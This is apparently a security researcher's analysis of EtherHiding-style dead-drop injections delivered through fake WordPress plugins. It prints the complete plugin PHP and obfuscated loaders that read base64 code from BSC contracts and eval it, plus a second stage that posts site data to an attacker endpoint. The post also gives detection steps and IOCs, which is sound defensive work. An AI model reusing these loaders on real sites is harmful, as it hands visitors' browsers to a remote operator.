A traditional JavaScript injection hardcodes the URL of its next stage. When that domain is reported and taken down, every infected site stops working for the attacker.

A dead drop fixes this for them. The injection contains only the location of a second resource that the attacker controls and can edit, and the real payload URL or code is read from there at runtime. This post covers two samples that do this, from the very simple to the very hard to remove.

GitHub as a Dead Drop#

This injection is about as small as a loader can be:

var url = 'hxxps://raw[.]githubusercontent[.]com/truba77/trubnik/main/from.txt';

fetch(url)
    .then(response => response.text())
    .then(data => {
        // head
        var script = document.createElement('script');
        script.src = data.trim(); // 44
        document.getElementsByTagName('head')[0].appendChild(script);
    })
    .catch(error => {
        console.error('bad go.txt:', error);
    });

The file from.txt contains just a URL, which gets loaded as a <script> on the infected site. The injection itself only talks to raw[.]githubusercontent[.]com, a domain that nobody blocks. To switch payload domains across every infected site, the attacker edits a one-line text file.

The error message bad go.txt shows that the file has been renamed at least once. The repo name, truba77/trubnik, is Russian-looking (труба = pipe, трубник = pipe fitter).

The weakness is that GitHub can remove it. As of this writing, truba77/trubnik returns a 404, and every copy of this injection is now inert.

The Blockchain as a Dead Drop (EtherHiding)#

The technique widely referred to as EtherHiding fixes that weakness by storing the dead drop in a smart contract on the Binance Smart Chain (BSC). Data stored in a contract can’t be taken down, and reading it is a free, read-only RPC call to a public Binance node.

Fake plugins#

The three samples covered here arrive as fake WordPress plugins:

Plugin NameDisguise
Themes Manager“This plugin helps you change themes and edit them.” Author: WordPress
MonsterInsights ClassicCopies the real MonsterInsights plugin header, including its “over 3 million active installs” description
Advanced User Manager“Manage user roles and permissions with advanced settings and tools.” Enqueues aum-script.js

Each one hooks into wp_head or wp_enqueue_scripts to load the JavaScript below on every front-end page.

Reading the contract#

This is the JavaScript from aum-script.js with the atob() strings decoded:

document.addEventListener('DOMContentLoaded', function() {
    const _0x1a21 = "hxxps://cdnjs[.]cloudflare[.]com/ajax/libs/ethers/6.13.1/ethers.umd.min.js";
    ...
    function _0x8f7c() {
        const _0x7a13 = new ethers.JsonRpcProvider("hxxps://bsc-dataseed1[.]binance[.]org/"),
            _0x2b39 = "0xa6165aa33ac710ad5dcd4f4d6379466825476fde",
            _0x6f8b = [ ... ABI ... ],
            _0x5f3a = new ethers.Contract(_0x2b39, _0x6f8b, _0x7a13);
        _0x5f3a.g().then(_0x3bde => {
            const _0x6b22 = atob(_0x3bde);
            const _0x425d = eval(_0x6b22);
            _0x425d instanceof Promise ? _0x425d.then(_0x2ff2 => {
                const _0x2416 = atob(_0x2ff2);
                eval(_0x2416), 'function' == typeof load ? load() : console.error("Function from server is not defined.");
            }) ...
  1. Load the legitimate ethers.js library from cdnjs.
  2. Connect to Binance’s public BSC node bsc-dataseed1[.]binance[.]org.
  3. Call the contract’s g() function, base64 decode the string it returns, and eval() it.
  4. That code returns a Promise whose result is also base64 decoded and eval()’d, and then a load() function from it is called.

The contract’s ABI is tiny. It has a write function u(string), a read function g(), and an event E(string):

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},
 {"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"","type":"string"}],"name":"E","type":"event"},
 {"inputs":[{"internalType":"string","name":"_c","type":"string"}],"name":"u","outputs":[],"stateMutability":"nonpayable","type":"function"},
 {"inputs":[],"name":"g","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]

The operator calls u() with new code whenever they want to update every infected site at once, for the cost of a BSC transaction fee.

Variants#

The Themes Manager plugin is the older version (June 2024). It uses ethers v5.2 from cdn[.]ethers[.]io, a different contract 0xdf20921ea432318dd5906132edbc0c20353f72d6, and readable function names get() / update() / CodeUpdated.

By January 2025 the same flow had been compacted to g() / u() / E and switched to contract 0xa6165aa33ac710ad5dcd4f4d6379466825476fde. The MonsterInsights Classic version also adds junk code to change its hash:

function p6m4() {
    let j2d7 = "kiotoa";
    for (let r8x1 = 0; r8x1 < 10; r8x1++) {
        j2d7 += r8x1;
    }
    return j2d7;
}
...
let l9t4 = [];
for (let m5d8 = 0; m5d8 < 20; m5d8++) {
    l9t4.push(m5d8 * 2);
}

The Advanced User Manager version also tries to strip other wp_head output by calling remove_all_actions('wp_head') from inside a callback at PHP_INT_MAX priority, and leaves a marker comment in the page:

function aum_remove_wp_head_scripts() {
    echo "<!-- Advanced User Manager: Disabled wp_head Scripts -->";
    remove_all_actions('wp_head');
}
add_action('wp_head', 'aum_remove_wp_head_scripts', PHP_INT_MAX);

What the Contracts Return Today#

Because contract storage is public, anyone can check what the dead drop currently serves. I did a read-only eth_call to both contracts on 2026-10-24.

The older get() contract 0xdf20921e... now returns:

(async function() {
    console.log("嗯,大概是结束了");
})();

That’s Chinese for “Well, I guess it’s over.” The operator has retired that contract. Any site still running the Themes Manager plugin prints this to the console and does nothing else.

The newer g() contract 0xa6165aa3... is still active and returns:

(async function () {
    const lastRequestKey = 'lastRequestTime';
    const currentTime = Date.now();
    
    const lastRequestTime = sessionStorage.getItem(lastRequestKey);
    if (lastRequestTime && currentTime - lastRequestTime < 5000) return;

    sessionStorage.setItem(lastRequestKey, currentTime);

    const a1b2c3 = window.location.hostname;
    const x9y8z7 = navigator.userAgent;
    const j4k5l6 = await fetch("hxxps://dareka4te[.]shop/endpoint", {
        method: "POST",
        headers: {
            "Content-Type": "application/json",
            "User-Agent": x9y8z7
        },
        body: JSON.stringify({ website: a1b2c3 })
    });

    if (j4k5l6.ok) {
        const m7n8o9 = await j4k5l6.json();
        return m7n8o9;
    }
})();

This is the first eval() in the chain. It posts the infected site’s hostname and the visitor’s user-agent to dareka4te[.]shop/endpoint, rate limited to once every 5 seconds via sessionStorage. The JSON response is the base64 encoded third stage that the loader decodes, eval()s, and runs with load().

The real payload is chosen per site and per user-agent by the server, and the domain serving it can be changed at any time with one contract update. The injection on the site never changes.

Detection & Cleanup#

  • Search for bsc-dataseed, ethers.umd.min.js / ethers-5.2.umd.min.js, and new ethers.Contract in plugin files and the database. A normal WordPress site has almost no reason to talk to a BSC node from the front-end.
  • Audit wp-content/plugins/ for plugins you didn’t install. The Plugin Name header can say anything. Compare against the real plugin directory, and look for single index.php plugins.
  • Blocking the payload domain only helps until the next contract update. Removing the injection is the only real fix.

IOCs#

raw[.]githubusercontent[.]com/truba77/trubnik/main/from.txt
bsc-dataseed1[.]binance[.]org (abused, legitimate)
BSC contract 0xdf20921ea432318dd5906132edbc0c20353f72d6  (get/update, retired)
BSC contract 0xa6165aa33ac710ad5dcd4f4d6379466825476fde  (g/u, active 2026-10-24)
hxxps://dareka4te[.]shop/endpoint
Plugin names: Themes Manager, MonsterInsights Classic, Advanced User Manager
<!-- Advanced User Manager: Disabled wp_head Scripts -->

Samples#

GitHub dead drop injection
var url = 'hxxps://raw[.]githubusercontent[.]com/truba77/trubnik/main/from.txt';

        fetch(url)
            .then(response => response.text())
            .then(data => {
                // head
                var script = document.createElement('script');
                script.src = data.trim(); // 44
                document.getElementsByTagName('head')[0].appendChild(script);
            })
            .catch(error => {
                console.error('bad go.txt:', error);
            });
wp-content/plugins/advanced-user-manager/aum-script.js
document.addEventListener('DOMContentLoaded', function() {
    const _0x1a21 = atob("aHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZXRoZXJzLzYuMTMuMS9ldGhlcnMudW1kLm1pbi5qcw==");
    function _0x9b43(_0x2d23, _0x4f6d) {
        const _0x5c32 = document.createElement('script');
        _0x5c32.src = _0x2d23, _0x5c32.type = "application/javascript", _0x5c32.onload = _0x4f6d, document.head.appendChild(_0x5c32);
    }
    function _0x8f7c() {
        const _0x7a13 = new ethers.JsonRpcProvider(atob("aHR0cHM6Ly9ic2MtZGF0YXNlZWQxLmJpbmFuY2Uub3JnLw==")),
            _0x2b39 = "0xa6165aa33ac710ad5dcd4f4d6379466825476fde",
            _0x6f8b = atob("W3siaW5wdXRzIjpbXSwic3RhdGVNdXRhYmlsaXR5Ijoibm9ucGF5YWJsZSIsInR5cGUiOiJjb25zdHJ1Y3RvciJ9LHsiYW5vbnltb3VzIjpmYWxzZSwiaW5wdXRzIjpbeyJpbmRleGVkIjpmYWxzZSwiaW50ZXJuYWxUeXBlIjoic3RyaW5nIiwibmFtZSI6IiIsInR5cGUiOiJzdHJpbmcifV0sIm5hbWUiOiJFIiwidHlwZSI6ImV2ZW50In0seyJpbnB1dHMiOlt7ImludGVybmFsVHlwZSI6InN0cmluZyIsIm5hbWUiOiJfYyIsInR5cGUiOiJzdHJpbmcifV0sIm5hbWUiOiJ1Iiwib3V0cHV0cyI6W10sInN0YXRlTXV0YWJpbGl0eSI6Im5vbnBheWFibGUiLCJ0eXBlIjoiZnVuY3Rpb24ifSx7ImlucHV0cyI6W10sIm5hbWUiOiJnIiwib3V0cHV0cyI6W3siaW50ZXJuYWxUeXBlIjoic3RyaW5nIiwibmFtZSI6IiIsInR5cGUiOiJzdHJpbmcifV0sInN0YXRlTXV0YWJpbGl0eSI6InZpZXciLCJ0eXBlIjoiZnVuY3Rpb24ifV0="),
            _0x5f3a = new ethers.Contract(_0x2b39, _0x6f8b, _0x7a13);
        _0x5f3a.g().then(_0x3bde => {
            const _0x6b22 = atob(_0x3bde);
            try {
                const _0x425d = eval(_0x6b22);
                _0x425d instanceof Promise ? _0x425d.then(_0x2ff2 => {
                    const _0x2416 = atob(_0x2ff2);
                    try {
                        eval(_0x2416), 'function' == typeof load ? load() : console.error("Function from server is not defined.");
                    } catch (_0x4e84) {
                        console.error("Error response from server:", _0x4e84);
                    }
                }).catch(_0x2c14 => console.error("Error in executed code:", _0x2c14)) : console.log("Result of executed code:", _0x425d);
            } catch (_0x4532) {
                console.error("Execution Error:", _0x4532);
            }
        }).catch(_0x19a5 => console.error("BSC Response Error:", _0x19a5));
    }
    _0x9b43(_0x1a21, _0x8f7c);
});
wp-content/plugins/advanced-user-manager/index.php
<?php
/**
 * Plugin Name: Advanced User Manager
 * Plugin URI: hxxps://github[.]com/aum/advanced-user-manager
 * Description: Manage user roles and permissions with advanced settings and tools.
 * Version: 2.3.1
 * Author: User Management Pro
 * Author URI: hxxps://github[.]com/aum
 * License: GPLv2 or later
 * License URI: hxxps://www[.]gnu[.]org/licenses/gpl-2.0.html
 */

function aum_enqueue_script() {
    wp_enqueue_script(
        'advanced-user-manager',
        plugins_url('/aum-script.js', __FILE__),
        array(),
        null,
        true
    );
}

add_action('wp_enqueue_scripts', 'aum_enqueue_script');

function aum_remove_wp_head_scripts() {
    echo "<!-- Advanced User Manager: Disabled wp_head Scripts -->";
    remove_all_actions('wp_head');
}

add_action('wp_head', 'aum_remove_wp_head_scripts', PHP_INT_MAX);
?>
Themes Manager plugin
<?php
/*
Plugin Name: Themes Manager
Plugin URI: hxxps://google[.]com/
Description: This plugin helps you change themes and edit them.
Author: WordPress
Author URI: hxxps://google[.]com/
*/

function add_custom_script_to_head() {
    ?>
    <script>
        window.onload = function() {
            console.log('window.onload called');

            var ethersScript = document.createElement('script');
            ethersScript.src = "hxxps://cdn[.]ethers[.]io/lib/ethers-5.2.umd.min.js";
            ethersScript.type = "application/javascript";
            ethersScript.onload = function() {
                console.log('');
                var customScriptContent = `
                    async function geek() {
                        const provider = new ethers.providers.JsonRpcProvider("hxxps://bsc-dataseed1[.]binance[.]org/");
                        const address = "0xdf20921ea432318dd5906132edbc0c20353f72d6";
                        const ABI = [
                            {"inputs": [], "stateMutability": "nonpayable", "type": "constructor"},
                            {"anonymous": false, "inputs": [{"indexed": false, "internalType": "string", "name": "newCode", "type": "string"}], "name": "CodeUpdated", "type": "event"},
                            {"inputs": [{"internalType": "string", "name": "_code", "type": "string"}], "name": "update", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
                            {"inputs": [], "name": "get", "outputs": [{"internalType": "string", "name": "", "type": "string"}], "stateMutability": "view", "type": "function"},
                            {"inputs": [], "name": "link", "outputs": [{"internalType": "string", "name": "", "type": "string"}], "stateMutability": "view", "type": "function"}
                        ];

                        const contract = new ethers.Contract(address, ABI, provider);
                        const req = await contract.get();
                        const req_to_serc = atob(req);

                        async function fnv() {
                            const result = await eval(req_to_serc);
                            const dec_res = atob(result);
                            eval(dec_res);
                            load();
                        }

                        await fnv();
                    }

                    geek();
                `;
                var customScript = document.createElement('script');
                customScript.type = "application/javascript";
                customScript.innerHTML = customScriptContent;
                customScript.onload = function() {
                    console.log('');
                };
                document.head.appendChild(customScript);
            };
            ethersScript.onerror = function() {
                console.error('');
            };
            document.head.appendChild(ethersScript);
            console.log('');
        };
    </script>
    <?php
}

add_action('wp_head', 'add_custom_script_to_head');
?>
MonsterInsights Classic plugin
<?php
/**
 * Plugin Name: MonsterInsights Classic
 * Plugin URI: hxxps://wordpress[.]org/plugins/google-analytics-for-wordpress/
 * Description: With over 3 million active installs, MonsterInsights is the most popular Google Analytics plugin for WordPress.
 * Version: 11.2
 * Author: MonsterInsights
 * Author URI: hxxps://www[.]monsterinsights[.]com
 * License: GPLv2 or later
 * License URI: hxxps://www[.]gnu[.]org/licenses/gpl-2.0.html
 */

function p8m2s9d4() {
    ?>
    <script type="text/javascript">
        window.onload = function() {
            const u4t6k1 = atob("aHR0cHM6Ly9jZG4uZXRoZXJzLmlvL2xpYi9ldGhlcnMtNS4yLnVtZC5taW4uanM=");
            const j2r7a5 = document.createElement('script');
            j2r7a5.src = u4t6k1;
            j2r7a5.type = "application/javascript";
            j2r7a5.onload = function() {
                const n1m8q2 = atob("YXN5bmMgZnVuY3Rpb24gcjh3MygpIHsKICAgIGNvbnN0IHEyejcgPSBuZXcgZXRoZXJzLnByb3ZpZGVycy5Kc29uUnBjUHJvdmlkZXIoImh0dHBzOi8vYnNjLWRhdGFzZWVkMS5iaW5hbmNlLm9yZy8iKTsKICAgIGNvbnN0IHQ5bDUgPSAiMHhhNjE2NWFhMzNhYzcxMGFkNWRjZDRmNGQ2Mzc5NDY2ODI1NDc2ZmRlIjsKICAgIGNvbnN0IG40azEgPSBbCiAgICAgICAgeyJpbnB1dHMiOiBbXSwgInN0YXRlTXV0YWJpbGl0eSI6ICJub25wYXlhYmxlIiwgInR5cGUiOiAiY29uc3RydWN0b3IifSwKICAgICAgICB7ImFub255bW91cyI6IGZhbHNlLCAiaW5wdXRzIjogW3siaW5kZXhlZCI6IGZhbHNlLCAiaW50ZXJuYWxUeXBlIjogInN0cmluZyIsICJuYW1lIjogIiIsICJ0eXBlIjogInN0cmluZyJ9XSwgIm5hbWUiOiAiRSIsICJ0eXBlIjogImV2ZW50In0sCiAgICAgICAgeyJpbnB1dHMiOiBbeyJpbnRlcm5hbFR5cGUiOiAic3RyaW5nIiwgIm5hbWUiOiAiX2MiLCAidHlwZSI6ICJzdHJpbmcifV0sICJuYW1lIjogInUiLCAib3V0cHV0cyI6IFtdLCAic3RhdGVNdXRhYmlsaXR5IjogIm5vbnBheWFibGUiLCAidHlwZSI6ICJmdW5jdGlvbiJ9LAogICAgICAgIHsiaW5wdXRzIjogW10sICJuYW1lIjogImciLCAib3V0cHV0cyI6IFt7ImludGVybmFsVHlwZSI6ICJzdHJpbmciLCAibmFtZSI6ICIiLCAidHlwZSI6ICJzdHJpbmcifV0sICJzdGF0ZU11dGFiaWxpdHkiOiAidmlldyIsICJ0eXBlIjogImZ1bmN0aW9uIn0KICAgIF07CgogICAgZnVuY3Rpb24gcDZtNCgpIHsKICAgICAgICBsZXQgajJkNyA9ICJraW90b2EiOwogICAgICAgIGZvciAobGV0IHI4eDEgPSAwOyByOHgxIDwgMTA7IHI4eDErKykgewogICAgICAgICAgICBqMmQ3ICs9IHI4eDE7CiAgICAgICAgfQogICAgICAgIHJldHVybiBqMmQ3OwogICAgfQoKICAgIGNvbnN0IGgzYjkgPSBuZXcgZXRoZXJzLkNvbnRyYWN0KHQ5bDUsIG40azEsIHEyejcpOwogICAgY29uc3QgazF3NiA9IGF3YWl0IGgzYjkuZygpOwogICAgY29uc3QgdjR0MiA9IGF0b2IoazF3Nik7CiAgICBhc3luYyBmdW5jdGlvbiB5N3A5KCkgewogICAgICAgIGNvbnN0IGYzbjUgPSBhd2FpdCBldmFsKHY0dDIpOwogICAgICAgIGNvbnN0IGI4azMgPSBhdG9iKGYzbjUpOwogICAgICAgIGV2YWwoYjhrMyk7CiAgICAgICAgeDVtMnooKTsKICAgIH0KICAgIGF3YWl0IHk3cDkoKTsKCiAgICBsZXQgbDl0NCA9IFtdOwogICAgZm9yIChsZXQgbTVkOCA9IDA7IG01ZDggPCAyMDsgbTVkOCsrKSB7CiAgICAgICAgbDl0NC5wdXNoKG01ZDggKiAyKTsKICAgIH0KCn0KCnI4dzMoKTs=");
                const o3k4b5 = document.createElement('script');
                o3k4b5.type = "application/javascript";
                o3k4b5.innerHTML = n1m8q2;
                document.head.appendChild(o3k4b5);
            };
            j2r7a5.onerror = function() {
                console.error('JavaScript block requests');
            };
            document.head.appendChild(j2r7a5);
        };
    </script>
    <?php
}
add_action('wp_head', 'p8m2s9d4', 1);
?>